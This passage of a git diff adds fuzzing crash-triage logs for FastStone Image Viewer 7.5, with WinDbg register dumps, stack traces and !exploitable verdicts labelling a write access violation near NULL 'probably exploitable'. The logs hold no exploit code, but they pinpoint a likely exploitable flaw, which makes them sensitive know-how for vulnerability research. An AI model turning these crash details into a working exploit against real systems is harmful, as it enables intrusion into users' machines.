0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0.000894123 2.21708e-020 4.03796e-016 4.47748e-008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ec8130 07e45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f1000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f1000 e1f07d30 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f1000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..8133492 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x128C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x128C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(128c.d7c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07de7b19 edx=00000000 esi=00000000 edi=07c02fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.698825805255558240000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.468036900000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0.000894123 2.21708e-020 4.03796e-016 4.47748e-008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ec8130 07e45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f1000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f1000 e1f07d30 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f1000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d15cde0 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..0f45741 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..738e570 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1488: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1488: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1488.1fa8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f27b19 edx=00000000 esi=00000000 edi=0f668fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.755120800610796640000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.228190000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.48972e-037 2.95982e-011 -1.86528e-007 1.40467e+017 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08008130 07f85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 